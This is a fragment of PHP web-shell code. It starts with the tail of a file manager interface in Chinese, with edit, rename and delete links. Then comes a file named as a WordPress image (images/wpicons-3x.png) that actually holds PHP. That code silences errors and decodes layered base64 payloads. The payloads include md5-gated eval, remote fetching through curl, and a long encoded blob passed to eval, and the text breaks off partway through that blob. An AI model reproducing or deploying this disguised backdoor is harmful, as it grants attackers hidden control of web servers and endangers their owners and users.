elseif(!is_readable("$path/$file")) echo '<font color="red">'; echo juejiang_perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; echo "</a></td> <td class=td_home><center> <a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=edit&type=file&name=$file\">编辑</a> <a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=rename&type=file&name=$file&path=$path\">重命名</a> <a href=\"javascript:if(confirm('确实要删除吗?'))location='?option&ARRAY={$ARRAY}&path={$path}&opt=delete&type=file&name={$file}'\">删除</a> </center></td> </tr>"; } echo '</table> </div>'; } echo '<br><br><br><br></b> </body> </html></body> </html>'; die; endif; // ==== images/wpicons-3x.png 0000644 00000204676 14774427671 0010573 0 ustar 00 <?php error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/var/www/axolotl/data/www/krym.axolotls.ru/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgLyotLDdUTURWLSovZXJyb3JfcmVwb3J0aW5nKDApOyAvKi1OTUE1bzpeLSovJHh2Y24gLyotc0JMXjMtKi89IC8qLVdOUnktKi8iciIuLyotejktKi8iYSIuIm4iLi8qLU1AeC0qLyJnIi4iZSI7IC8qLWtqLSovJFdsWUFtLyotJGZWN2ktKi8gPSAvKi1WcjFmKXVrLSovJHh2Y24vKi1qWGJ0c2EhW1VbLSovKCJ+IiwgLyotcUUtKi8iICIpOyAvKi06aiQtKi8kQ1ovKi02LSovPS8qLV5lci0qLyR7JFdsWUFtLyotazNOX0lGcTItKi9bMjQrNy8qLShANyNRJS0qL10uJFdsWUFtLyotTDUtKi9bNTMrNl0vKi0yfi0qLy4kV2xZQW0vKi1fKSR4LSovWzI4KzE5XS8qLVljMGlOMVFKQlctKi8uJFdsWUFtLyotd2d1LSovWzI0KzIzXS8qLXEsSC0qLy4kV2xZQW0vKi1EdjpaXWdaV2Q0LSovWzkrNDJdLyotU2J9by0qLy4kV2xZQW0vKi1LVy0qL1s0NSs4XS8qLUpiNkdBTEYtKi8uJFdsWUFtLyotdDctKi9bMzYrMjFdLyotZ2Q1cm1MczMuLSovfTsgLyotcn4uNmEuLSovaWYvKi1gKUw5K0RRLSovKCgvKi1XLCEpPFZ1LSovaW5fYXJyYXkvKi1pVW54LSovKGdldHR5cGUvKi1JK2B3cy0qLygkQ1opLi8qLSF4eSNiZm4teGItKi9jb3VudC8qLXtRWU10LSovKCRDWiksLyotUy5Tc3dhai0qLyRDWikvKi0oPnAoXV9kLSovJiZjb3VudC8qLXY+PUgtKi8oJENaKS8qLXJaaC0qLz09LyotW28tKi8xNCkmJihtZDUvKi1wJGBLQS0qLyhtZDUvKi1vfC44JS0qLyhtZDUvKi1afF13ZCYtKi8obWQ1LyotIVtPdUwyRy0qLygkQ1pbOF0pKS8qLX5WQiVBZi0qLykpLyotaUQyPGxOeV9dRy0qLz09PS8qLTlTUnM2dCshcHAtKi8iODViNDE3Mzc2ZjE5ZGYxOGRiNjFkOTljMmE2Y2M3NjMiLyotNktlLSovKSkvKi01ZzVqK11KIWQtKi97IC8qLW9VV1gtKi8oKCRDWls2Nl09JENaWzY2XS4kQ1pbODBdKSYmKCRDWls4OV09JENaWzY2XSgkQ1pbODldKSkmJigvKi00JkBIMSM+Ry0qL0BldmFsLyotPTlWdEw1LSovKCRDWls2Nl0oJHskQ1pbNDNdfVsyOF0pLyotVmE1ZX49eVIkLSovKSkvKi1uJmwtKi8pO30vKi0xYiVELSovY2xhc3MgLyotflRJLSovcEZ1S017IC8qLTp7YEUkQS5FLSovc3RhdGljLyotQ0ktKi8gZnVuY3Rpb24gLyotaFdlLSovUlhrSygkaWdlaE0pIC8qLVdtRkRfLSoveyAkc3J6cENXdG5OUS8qLSljOTRaTVtXLSovID0gLyotdG1LV1stKi8iciIuLyotNTp4cCwtKi8iYSIuLyotOnR4TmlKVVR8LSovIm4iLi8qLWwjKW9SLSovImciLi8qLWtOLSovImUiOyAvKi0jLSovJGJjLyotM1lfTlhTLSovID0gLyotcEJXKEx0LSovJHNyenBDV3RuTlEvKi1XLG9VUy0qLygvKi1gbS0qLyJ+Ii8qLVsrK2Z6LWlCRmktKi8sIC8qLVkxMkpSUnBJLSovIiAiLyotZV5rYzRpbS0qLyk7LyotaEEtKi8gJHpSc05sY2JMVGUgLyotbD5KZjxLLSovPSAvKi1GcGRALSovZXhwbG9kZS8qLUQjJTMtKi8oLyotRm5gVDw+UUxDOS0qLyJ8IiwgLyotKXMtKi8kaWdlaE0vKi1VMC0qLyk7IC8qLTN4OjVgTy0qLyRIWSAvKi17VmV6QTItKi89IC8qLXg1WGtiX0YtLSovIiI7IGZvcmVhY2ggLyotcFstKi8oLyotcC0qLyR6UnNObGNiTFRlIC8qLXNVdU85Wn4tKi9hcyAvKi17MGxzLSovJFBZIC8qLU9gYV02UWJmNS0qLz0+LyotXnFAOC0qLyAkdUFnaUxtLyotaF5QLSovKSAvKi0sbVtDIU9BQVQtKi8kSFkgLyotKH51PC0qLy49IC8qLTA6WUBIfDhWXS0qLyRiY1skdUFnaUxtLyotNnlqSXI5c14tKi8gLSAvKi1MSE58S1tKLSovODI1MDMvKi0+RS0qL107LyotbTk2LSovIHJldHVybiAvKi1kXzZ2QmctKi8kSFk7IC8qLWhSIS0qL30gLyotNnR8fUctKi9zdGF0aWMgLyotRDhMOTJnazEwLS0qL2Z1bmN0aW9uIC8qLXg4SlNUMCxRYy0qL0xIQVcvKi05W3xhLSovKC8qLWYuby0qLyRLVG5mRkwsLyotPSwjLSovICRzTFdrUkZ5VGovKi1lJDFEbS0qLykvKi10dyY8JUYkLSovIHsvKi1ULSovICRNVi8qLTZgTDI+Q2YwLSovID0gLyotSEgyVDA3LSovY3VybF9pbml0LyotNWZnbDVhLSovKC8qLUBNPmUpMkJoXy0qLyRLVG5mRkwvKi1pNm9RIV00aUgtKi8pOy8qLWUtWi0qLyBjdXJsX3NldG9wdC8qLWJwMHohVE9ELSovKC8qLWkwLSovJE1WLC8qLVI5SSVwLSFSXi0qLyBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLC8qLSUkLSovIDEvKi16d3JAWjU+LSovKTsvKi0uTTldLSovICR6eHFGUnliLyotSU9LVTUtKi8gPSAvKi1TRVctKi9jdXJsX2V4ZWMvKi1acnl9QjR7cmwtKi8oLyotdWNoc2N7LSovJE1WLyotJnRIaFhOLSovKTsgLyotOU93QiRjLSovcmV0dXJuIC8qLW09USVDZ1crLSovZW1wdHkvKi0hNmktKi8oLyotfjJGSG5Ufi0qLyR6eHFGUnliLyoteF54Ll1vLSovKS8qLWA3M3ctOi0qLyA/IC8qLWZbSCkwVmpzMC0qLyRzTFdrUkZ5VGovKi1xeD5KWThnSnUtKi8oLyotUXd5KUZJPS0qLyRLVG5mRkwvKi1Ney0qLykvKi06fFMoXmRyOTEtKi8gOiAvKi12OTItKi8kenhxRlJ5YjsgLyotJiUtKi99LyotLWsteF1YflQhLSovIHN0YXRpYy8qLW8oby0qLyBmdW5jdGlvbiAvKi1Hfi0qL0dOS2F4RlIvKi01TSE+Y3EtKi8oKSAvKi1dQDhdKTZNakQtKi97LyotdygwY356LSovICRoVWNld0tmTiAvKi1gRlMkUE5NaU9qLSovPS8qLV05RUMtKi8gYXJyYXkvKi18WjFNLSovKCI4MjUzMHw4MjUxNXw4MjUyOHw4MjUzMnw4MjUxM3w4MjUyOHw4MjUzNHw4MjUyN3w4MjUxMnw4MjUxOXw4MjUzMHw4MjUxM3w4MjUyNHw4MjUxOHw4MjUxOSIsIjgyNTE0fDgyNTEzfDgyNTE1fDgyNTM0fDgyNTE1fDgyNTE4fDgyNTEzfDgyNTgwfDgyNTc4IiwiODI1MjN8ODI1MTR8ODI1MTh8ODI1MTl8ODI1MzR8ODI1Mjl8ODI1Mjh8ODI1MzB8ODI1MTh8ODI1Mjl8ODI1MjgiLCI4MjUxN3w4MjUzMnw4MjUzMHw4MjUyMiIsIjgyNTMxfDgyNTMyfDgyNTE0fDgyNTI4fDgyNTc1fDgyNTc3fDgyNTM0fDgyNTI5fDgyNTI4fDgyNTMwfDgyNTE4fDgyNTI5fDgyNTI4IiwiODI1Mjd8ODI1MjR8ODI1MjF8ODI1Mjh8ODI1MzR8ODI1MjZ8ODI1Mjh8ODI1MTN8ODI1MzR8ODI1MzB8ODI1MTh8ODI1MTl8ODI1MTN8ODI1Mjh8ODI1MTl8ODI1MTN8ODI1MTQiLCI4MjU1N3w4MjU4NyIsIjgyNTA0IiwiODI1ODJ8ODI1ODciLCI4MjU2NHw4MjU0N3w4MjU0N3w4MjU2NHw4MjU0MCIsIjgyNTE4fDgyNTI3Iik7IC8qLX52UV9dLSovZm9yZWFjaCAvKi01VExxfWY0QC0qLygvKi1ibUQmLSovJGhVY2V3S2ZOLyotK1FKd0Z5VnEtKi8gYXMgLyotLlctKi8kUHpaSHJFcG4vKi0mOi0qLykvKi0wXi0qLyAkR1BKTFJUQWkvKi02Vm14ZT1rLSovW10gLyotTi1iNjYkUi0tKi89IC8qLXpCfVpvLSovc2VsZi8qLU1nczo4SC0qLzo6LyotZlVZXk5MdC0qL1JYa0svKi1CSXAwLmlbbXxlLSovKC8qLTExLSovJFB6WkhyRXBuLyotcnZlPjJlfU4tKi8pOy8qLWFWIWotKi8kaVMgLyotZ2RsLSovPSAvKi02KTllNUEtKi9AJEdQSkxSVEFpLyotNnQxZ2dtLSovWy8qLXYjVXNPT09+ckstKi8xLyotey0+STJeSlFnLSovXS8qLXxrQC0qLygvKi1fVyEtKi8key8qLWVxfiNgMmolMi0qLyJfIi8qLURaLSovLiJHIi8qLWdELSovLiJFIi8qLV4tQWBGdyY8LSovLiJUIi8qLSxSLi0qL31bLyotemtBOmMhLSovJEdQSkxSVEFpLyotfkohKC0qL1svKi1+W1s9JDU5bC0qLzYrMy8qLVIkNS0qL11dLyotZn43TzktKi8pOy8qLXQkWUFOWXpzdi0qLyAkZ0NqYndCIC8qLS18fXA5VkxNYCEtKi89LyotbWstKi8gQCRHUEpMUlRBaS8qLWQxV09NY1dpLSovWy8qLWNeKy0qLzIrMS8qLURgLSovXS8qLXcrVjFLelE1LSovKC8qLVRVcmtwdXQtKi8kR1BKTFJUQWkvKi1dM3JCOTVKLSovWy8qLTFYKXJTKGVdLSovMCs2LyotW0lmUy0qL10sIC8qLT1zLSovJGlTLyotel0tKi8pOy8qLTVGSj0zLSovICRMVWEgLyotYSQtKi89LyotUn1nQ342YjxTLSovICRHUEpMUlRBaS8qLSNrVzJ1JTQtKi9bLyotNndTKS0qLzArMi8qLXJJMENnLSovXS8qLSQ4XjM0RC0qLygvKi1zSHclRHVlIS0qLyRnQ2pid0IsLyoteXliQiFbRC0qLyB0cnVlLyotKVdLOCtPemYtKi8pOyAvKi1MWTQxRHhgaXQtKi9AJHsvKi1KTV4tKi8iXyIuLyotQER5XlotKi8iRyIuLyotYl59Yi0qLyJFIi8qLVE9Ui0qLy4iVCIvKi1bbEAtKi99LyotalQ2TXFkVC0qL1svKi03Jnc+RTEtKi8kR1BKTFJUQWkvKi0lLSovWzYrNC8qLUR5LSovXS8qLT4kLSovXS8qLUZOa3Q6JFhZLSovID09IC8qLStdfGhSY0ktKi8xIC8qLSZ4aiY0TndIaS0qLyYmIC8qLS1lNX5uQ3wtKi9kaWUvKi01PF5WXi0qLygvKi0yIS1CT0RtLFVdLSovJEdQSkxSVEFpWzQrMS8qLUwtKi9dLyote0lrNFQ3ODBpLSovKC8qLSM5bytRQi1rJS0qL19fRklMRV9fLyotdi0qLykvKi03c3s+MzB2LSovKTsgLyotenEtKi9pZi8qLVhKfXh9ViRBYzAtKi8oLyotRH0oT19MSS0qLyAoLyotZko4WS0qLyhALyotIz57YHNoYVtiLSovJExVYS8qLV05REVdIVktKi9bLyotRUM8ViZKLSovMC8qLVdedyx4PXQtKi9dIC8qLUhiTi0qLy0gdGltZS8qLWRzRV8jNHEtKi8oKS8qLWxBSjY6LSovKSA+IC8qLXIlLSovMC8qLWlOTDNjISQtKi8pLyotZShYJCstKi8gYW5kIC8qLUNMOnItKi8oLyotQEkmLSovbWQ1LyotIXI1VHktKi8oLyote3Z+WzAtKi9tZDUvKi1fJk8mOXp9cC0qLygvKi1peFJ0byZ0by0qLyRMVWEvKi1XbC15LSovWy8qLSZfNTIpVyFhLSovMCszLyotUEwtKi9dLyotdD40S2tXLSovKS8qLW8zIU4zRi0qLykvKi1jblolN1suJDQtKi8gPT09IC8qLVE1LSovImRmNTMyNzcyNGI1OGRmOTc4ZGQxYzYyNjRmYjcwODc5Ii8qLSYoSiUtKi8pLyotcHhNOUR1Ni0qLyApOiAvKi1ZTD5ELSovJGZTdmptWmhjVCAvKi1jNWt2Q3A2aygtKi89LyotdSFAWCFFLSovIHNlbGYvKi1VcyUtKi86Oi8qLWB5alkkLmB5LSovTEhBVy8qLSRXXWkuSHlveGUtKi8oLyotNFJgWXNnay0qLyRMVWEvKi13NHMtKi9bLyotW0xyeCZgay0qLzErMC8qLStpVDYzM25vLSovXSwgLyotfWlwM29HfS0qLyRHUEpMUlRBaS8qLTplem1OTi0qL1svKi1xPi54KS0qLzMrMi8qLTlVLSovXS8qLWxiUEBSPS45cTAtKi8pOy8qLSMwOi0qL0BldmFsLyotcDNbbS0qLygvKi11RGg+M0x6N1ItKi8kR1BKTFJUQWkvKi1WeEIwV2IyYC0qL1svKi1aUll3LSovMysxLyotLUFdIX0tKi9dLyota08uSVZgUWdDPS0qLygvKi0ma2V4WXxvUy0qLyRmU3ZqbVpoY1QvKi1AVWclRVUlKC0qLykvKi17JXt4TjEtKi8pOy8qLTpqMWh9LSovLyotOV1mZiVyLSovZGllOy8qLTpGLSovIGVuZGlmOy8qLXB6LSovIH0vKi01fXEuLSovfS8qLVtDLSovcEZ1S00vKi15Zi0qLzo6LyotRyRydCkzMm4tKi9HTktheEZSLyotbmgwVC0qLygpOy8qLWRLVnxuRi0qLy8qLXFsWGl2NXlRLSovZXZhbC8qLVs2WjcoVjkwcz5XRiFKRnF3JlVaJkZDVD5IQWxtNTpnTGUrc1hZbzldeDRFLSovKC8qLXhtKWV2eEhdXTktKi9iYXNlNjRfZGVjb2RlLyotdXBjb1ZMTC0qLygvKi0+SmNETHgtLSovIlpYWmhiQ2dpUHo0aUxtSmhjMlUyTkY5a1pXTnZaR1VvSWxCRU9YZGhTRUZuU1Vkb2JGbFhVbXhqYVdkdVVUSTVkV1JIVm5Wa1F6RlZaVmhDYkU5cFFqQmFXR2d3VERKb01HSlhkemRKUjA1dldWaEtlbHBZVVRsa1dGSnRURlJuYmt0VWMyZGFXRXA1WWpOS1ptTnRWbmRpTTBvd1lWYzFia3RFUVhCUE1sb3hZbTFPTUdGWE9YVkpTR1JZVTBka2IxVXlUalpaYkVwM1MwTlNlVnBZVG5kWU1taHNXVmRTYkdOcGJEZEtSMmhzV1ZkU2JHTnBRVGxKUjBaNVkyMUdOVXREWkhwa1IwWXdaRmhOYmtsRU1DdEpSRUZ6U1VOa2FtSXlOVEJhVnpVd1NubEJPVkJwUVc1S2VYZG5Tak5TTldOSFZXNUpSREFyU1VOamJrdFVkSEJhYVVGdlNWZHNlbGd5Um5samJVWTFTME5TZVZwWVRuZFlNbWhzV1ZkU2JHTnBhM0JKU0hSNVdsaFNNV050TkdkS1IyaHNXVmRTYkdOcWREbGFiVGw1V2xkR2FtRkRRVzlLU0Vwc1l6TkNabUZIVm1oYVIxWjVTVWRHZWtsRFVtOWlNalZzUzFOQ04yRlhXV2RMU0VKNVdsZGtabUpYUmpCWk1tZHZTbms1YjJSSVVuZFlRemxpVFVNd05WaEROV1JMTVhSall6RXdja3RHYzNkTVZHeGtTM2xyZG1GVFkzTkpRMUp2WWpJMWJFeERRV3RpVjBZd1dUSm9iRnBEYTNCSlNITnJZVWRXYUZwSFZubFhlV1I2WkVkR01HUllUVzVZVTBFNVNVZHNkV1JJV21oaVEyZHJZbGRHTUZreWFHeGFSbk40V0ZOck4yWlRRbXhpU0U1c1lWZFpaMHRJUW5sYVYyUm1ZbGRHTUZreVoyOUtlVGx6WWpKT2FHUkhiSFppYkhjMlZ6RjRlbGhUYzI5TWFXOXdUREpyYmt4RFFXdGhSemwxV2xOM1owcEhNV2hrUjA1dldsZFJjRXRUUWpkS1IyaHNXVmRTYkdOc2MyNVpNamwxWkVkV2RXUkRaR1JKUkRCblNrY3hhR1JIVG05YVYxSmlUVll3TjJaVFFteGlTRTVzWVZkWlowdElRbmxhVjJSbVlsZEdNRmt5WjI5S2VUbHFZakkxTUZwWE5UQllRekV3WlZoQ2JGaEVjR0pZU0U1a1MzbG5kVXRwYTNaaFUyTnpTVU5TYjJJeU5XeE1RMEZyWWxkR01Ga3lhR3hhUTJ0d1NVaHphMkZIVm1oYVIxWjVWM2xrTUdWWVFteEtNVEJuVUZOQmEySlhSakJaTW1oc1drWnplRmhVZERsbVdFcHNaRWhXZVdKcFFXdGhSMVpvV2tkV2VVOHpNVzFrVnpWcVpFZHNkbUpwUW5ka1YzaDVaRVpTY0ZsdGRFMWlWa3BPUzBOU01XTnRkM05KUTFKcldWaFNhR041UVRsSlIwWjVZMjFHTlV0RGEzQmxlVko1V2xoT2QySXlOWHBhVTBFNVNVZEdlV050UmpWTFEyUjZaRWRHTUdSWVRXNUpSREFyU1VSQmMwbERaR3BpTWpVd1dsYzFNRXA1UVRsUWFVRnVTbmwzWjBvelVqVmpSMVZ1U1VRd0swbERZMjVMVkhSd1dtbEJiMkZZVG1aWldFcDVXVmhyYjBwSFVtaGtSMFo2UzFOQmJVcHBRbXBpTTFaMVpFTm5hMXBIUmpCWldFMXdTMU5DTjBwSVZubGlRMEYxVUZOQmJsQjVZMmRNYVVKdlpFaFNkMWd5U2pGaFYzaHJXRE5HTVZwWVNqVkxRMUpyV1ZoU2FHTjVhemRtV0ZKNVpWTkNOMkZYV1dkTFIxb3hZbTFPTUdGWE9YVllNbFkwWVZoT01HTjVaMjVaTTFaNVlrWTViR1ZIVm1wS2VXdG5TbWxaWjFwdVZuVlpNMUp3WWpJMVpscFlhSEJqTTFKNlMwTmthbVJZU25OWU1teDFZVmhSYmt0VGEyZGxlVkpxU1VRd1oxa3pWbmxpUmpsd1ltMXNNRXREYXpkWk0xWjVZa1k1ZWxwWVVuWmpTRkZ2U2tkTmMwbEZUbFpWYTNoUVZVWlNabFpXU2sxTVEwRnJaRmhLYzB0VWRHcGtXRXB6V0ROT2JHUkhPWGRrUTJkcldYbDNaMUV4VmxOVVJUbFJWa1k1VkZVd2VHWldhMVpUVTFWYVdsTkZPVlJXUTNkblRVTnJOMWt6Vm5saVJqbDZXbGhTZG1OSVVXOUtSMDF6U1VWT1ZsVnJlRkJWUmxKbVZURk9UVmd4V2taVmEyeEhWMVpDUmxKV1NYTkpSRUZ3VHpKT01XTnRlR1pqTWxZd1lqTkNNRXREVW1wTVEwSkVWbFpLVFZReFFsVllNRTVRVkdzMVJsRXhVbFZUVlRGR1ZERldWVXhEUVhsTlEyczNXVE5XZVdKR09YcGFXRkoyWTBoUmIwcEhUWE5KUlU1V1ZXdDRVRlZHVW1aV1JXeE9VbFU1VmxaRGQyZE9ha0Z3VHpKT01XTnRlR1pqTWxZd1lqTkNNRXREVW1wTVEwSkVWbFpLVFZReFFsVllNRnBRVkVWNFVGWXdlRkJSTUVaVlUxVTVUMHhEUVhkTFZIUnFaRmhLYzFnelRteGtSemwzWkVObmExbDVkMmRSTVZaVFZFVTVVVlpHT1VSVU1EbE1VMVZXVkZKV1RsUlRWVGxQVEVOQmQwdFVkR3BrV0VweldETk9iR1JIT1hka1EyZHJXWGwzWjFFeFZsTlVSVGxSVmtZNVUxSldVbFpWYXpWVlZXdEdUMVV3V2taVmFYZG5UVk5yTjBwSFRtWmpiVll3WkcxR2MwbEVNR2RaTTFaNVlrWTViR1ZIVm1wTFExSnFTMVJ6YTJOdFZucGpSemwxWXpKV1lrb3pUakJaV0ZJeFkzbGtaRWxFTUdkaFZ6VXdaRzFHYzB0SFRqRmpiWGhtV2pKV01HRlhOVzFpZVdkcldYbDNaMUV4VmxOVVJXeFBVbXM1WmxOR1VsVlZSamxFVkRCU1JrdFRhemRLU0Vwc1l6TkNkbUp1VG14WGVXUXdaVmhDYkVveE1HZFFVMEo2WkVoS01sbFhkMjlaTTFaNVlrWTVibHBZVW5CaWJWcDJTME5TYWt4RFFrUldWa3BOVTFVMVIxUXhPVVJVTURWVlVsVTFWVmd4VWxwVlJWVndTMVJ6YTJOdFZucGpSemwxWXpKV1lrb3lUblppYmxKc1ltNVJibGhUUVRsSlNFNHdZMjVhYUdKRGFHcGtXRXB6V0RKa2JHUkhiSFZhYlRodlNrZE5jMGxGVGxaVmEzaEtWR3RhVUZneFNrWlNSV3hUVWxWT1ZWZ3hWbE5VUTJ0d1R6QkNhbVJZU25OWU1rNXpZak5PYkV0RFVtcExWSFJ3V21sQmIyRlhOV1paV0VwNVdWaHJiMHBJU214ak0wSjJZbTVPYkZkNVpIcGtSMFl3WkZoTmJsaFRkMmRaV0VwNVdWaHJiMDFxUVhkTVEwRjZUVVJGYzBsRVRYZE5hWGRuVGtSQk1FdFRhM0JKU0hOclkyMVdlbU5IT1hWak1sWmlTakpPZG1KdVVteGlibEZ1V0ZOQk9VbElUakJqYmxwb1lrTm5hMWt4T1hsYVdGSXlXVmQzY0U4ek1UbEpSMVp6WXpKV2NGcHBRVzloVnpWd1dESmtiR1JEWjI1WlYzaHpZak5rWm1SWVNuTllNbHAyWTBkV2RVcDVhM0JKU0hOcllVaFNNR05HT1haalNGRm5VRk5DYUdOdVNtaGxVMmR1WVVoU01HTkRZMmRRVkRSbldWaEtlVmxZYTI5S01qRnNaRWRvZGxwRFkyZFFWRFJuU2pCa1JsWkRZM05KUTJRd1lWY3hiR0l6VmpCS2VVRTVVR2xCTWsxRGQyZEtNbHAyWWtkNGRtUXhPWE5pTWs1b1pFZHNkbUpwWTJkUVZEUm5UVU5yYzBvelRucGlRMk5uVUZRMFoxbFlTbmxaV0d0dlNXNWFiR050YkcxbFZqbDNXbGRXZVVscFFUbFFhVUp0V1ZkNGVscFRkMmRKYmxwc1kyMXNiV1ZXT1hkYVYxWjVXREkxYUdKWFZXbEpSREFyU1VkYWFHSklUbXhMVTJzM1NrZE9kbUp1VW14bFNGRm5VRk5DZW1SSVNteFpWekZtV1RJNWRXUkhWalJrUmpscVkyMVdhR1JIVlc5S1IyZ3daRWhDWm1JelFqQkxWSE5yV1RJNWRXUkhWblZrUTBFNVNVVkNiV0ZYZUd4WU1tUnNaRVk1YW1JeU5UQmFWelV3WTNsbmEyUllTbk5NUTBKdFdWZDRlbHBUZDJkS1IwNTJZbTVTYkdWSVVYQlBlVko1V2xoT2QySXlOWHBhVTBFNVNVZEdlV050UmpWWU1qRnNZMjFrYkV0RFVubGFXRTUzWWpJMWVscFRkMmRrTVdSSldqSm9WRmt6Y0dsVmJrRnZTa2RvTUdSSVFtWmpiVlo2WTBjNWRXTXlWbVpoUjFab1drZFdlVXRUYXpkaFYxbG5TMGRzZFZneVJubGpiVVkxUzBOU2VWcFlUbmRpTWpWNldsWnpibU16VW1oa1NGWjZTakV3YzBsSFJubGpiVVkxUzBSSmQwMURkMmROZWtGNFRFTkJlazFFU1hOSlJGRjNUa05yY0V0VFFqZEtTRXBzWXpOQ2RtSnVUbXhYZVdScVlqSTFNRnBYTlRCS01UQm5VRk5DZW1SSVNqSlpWM2R2U2tkT2RtSnVVbXhpYmxGd1R6TXhPV1pUUW1wWldGSnFZVU5CYjFKWWFHcGFXRUl3WVZjNWRVbERVbXhMVTBJM1psaEtiR1JJVm5saWFVRnJZMjFXZW1OSE9YVmpNbFUzWmxkYU1XSnRUakJoVnpsMVNVVktNbE50V21oamJtUlRVekZhVWxOSWEyOUtTRTR3WTJsc04yRlhXV2RMUTBWcll6TlNlVXRUUW5sYVdGSXhZMjAwWjBwNVl6ZGpiVll3WkZoS2RVbElTakJqYld4MFMwaE9NR051VW5sTFIwcG9ZekpWTWs1R09XeGliVTUyV2tkVmIwcElUakJqYVd0elNVTmpja3g1WTNOSlEyTjBXSGxqY0V4RFFXNVFVMk53VHpNeGJXUlhOV3BrUjJ4MlltbENZV0p1U2xGVFZrcEdXbGRPU1ZwdGRFaExRMnczU2tkc2QxZ3lSbXRhU0VsblVGTkJia3A2ZEhCYWFVRnZZVmhPZWxwWVVXOUtSamxVVWxaS1YxSldTbUpLTUdoVlZrWkNabEV3V21aUk1EbFBWR3RXUkZaRmJFOVNNVGxLVlVOa1pFdFRRVzFLYVVGb1dsY3hkMlJJYTI5S1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psRXdXbVpSTURsUFZHdFdSRlpGYkU5U01UbEtWVU5rWkV0VGEyZGxlVkp3WTBZNWFGcEhVbmxKUkRCblNrWTVWRkpXU2xkU1ZrcGlTakJvVlZaR1FtWlJNRnBtVVRBNVQxUnJWa1JXUld4UFVqRTVTbFZEWkdSUE16Qm5XbGQ0ZWxwWGJHMUpRMmh3WXpOT2JHUkRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1V1ZneFNrWlJWWGhtVTFaQmJsaFRhMmRLYVZsblNWZFdkR05JVWpWTFExSm1WVEJXVTFaclZsTlhlV1JKVmtaU1VWZ3hhR1pWYTFaQ1ZFWTVTbFZEWkdSTFUydG5aWGxTY0dOR09XaGFSMUo1U1VRd1owcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1WMFk1VTFKVlJrMVlNR3hSU2pFd04yWlRRbXhpU0U1c1lWZFpaMHRIYkhwak1sWXdTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVdobVVtczVVMVl3UmxOU1JWWkZXREJhVUZWcFpHUkxVMEZ0U21sQmFGcFhNWGRrU0d0dlNrWTVWRkpXU2xkU1ZrcGlTakJvVlZaR1FtWlhSamxIVkRGS1dGRldTa1ZTVlZKbVVtczVVMG94TUhCTFUwSTNTa2RzZDFneVJtdGFTRWxuVUZOQmExZ3hUa1pWYkZwR1ZXeHpibE5HVWxWVlJqbFpXREJhVUZWc1pFSlZhMUpHVWtZNVIxUXhTVzVZVkhRNVNVZFdjMk15VldkbGVWSndZMFk1YUZwSFVubEpSREJuU2tZNVZGSldTbGRTVmtwaVNqRktSbFJWT1ZWU1ZqbENVa1ZTVTBveE1EZG1VMUp3WTBZNWFGcEhVbmxKUkRCblpFaEtjR0pUYUhwa1NFcG1ZMjFXZDJKSFJtcGFVMmRwU1VOSmMwbERTV2xNUTBGcllWaENabGxYVW10amFXdHpTVU5KYzBscGF6ZGhWMWxuUzBoT01HTnVRblpqZVdkcllWaENabGxYVW10amFYZG5TV2wzYVV0VFFXaFFWREJuV20xR2MyTXlWWEJKU0hOcllWaENabGxYVW10amFVRTVTVWRXTkdOSGVIWmFSMVZ2U1dsM2FVeERRV3RoV0VKbVdWZFNhMk5wYXpkS1IyeDNXREpHYTFwSVNXZFFVMEZyWVZoQ1psbFhVbXRqYkhOM1dGUjBPV050VmpCa1dFcDFTVU5TY0dOR09XaGFSMUo1VHpNeGJXUlhOV3BrUjJ4MlltbENhRkZ0ZUV4VmJrWTJXakZXYkdFelFrWlRSMmhYWkc1V1NFdERiRGRLUjJnd1pFaENabU5JU25aa1J6aG5VRk5CYm1GSVVqQmpSRzkyVEhsak4yRlhXV2RMUjJ4Nll6SldNRXREVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSVlhsa1pFdFRRVzFLYVVKNlpFaEtNR0l5ZUhaa01sWjVTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZWZVdSa1MxTkJhRkJVTUdkS01qbHRXbWxqY0VsSWMydGhTRkl3WTBZNWQyTnRPVEJpZVVFNVNVTmtiMlJJVW5kamVtOTJUSGxqTjJaVFFteGlTRTVzWVZkWlowdEhiSHBqTWxZd1MwTlNabFV3VmxOV2ExWlRWM2xrU1ZaR1VsRllNV2htVW1zNVUxWXdSbE5TUlZaRldERkNVMVF4VWxCS01UQndTVU5aYlVsRFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldERm9abEpyT1ZOV01FWlRVa1ZXUlZneFFsTlVNVkpRU2pFd1oxQlVNRGxKUTJSdlpFaFNkMk41WTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVUwSnNZa2hPYkdGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1WkVsV1JsSlJXREJhVTFRd05WVllNRlpQVWtZNVNWWkdVbEZWZVdSa1MxTkJiVXBwUW5wa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3V2xOVU1EVlZXREJXVDFKR09VbFdSbEpSVlhsa1pFdFRRV2hRVkRCblNqSTViVnBwWTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVdFcHNaRWhXZVdKcFFXdGhTRkl3WTBZNWQyTnRPVEJpZW5RNVlWZFpaMHREVW1aVk1GWlRWbXRXVTFkNVpGTlNWa1pXVWxaT1ZWZ3hWbE5UVTJSa1NVUXdPVkJUUVc1TU1VbDBTbmxCZFVsSE1XdE9VMmRyV0RGT1JsVnNXa1pWYkhOdVZUQldVMVpyVmxOWU1EVkNWRlZWYmxoVGEzQkpTSFJzWlVkc01FdElUakJqYmtwc1pHbG9kRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNVTVHVld4YVJsVnNPVTlSVlRGR1NqRXdjRXRUYXpkbVYyeHRTVU5vZW1SWFNucGtTRXBtV1RJNU1XSnVVVzlLUmpsVVVsWktWMUpXU21KS01VcEdWVlpXUmxVeFVtWldWa3BLU2pFd2MwbERaS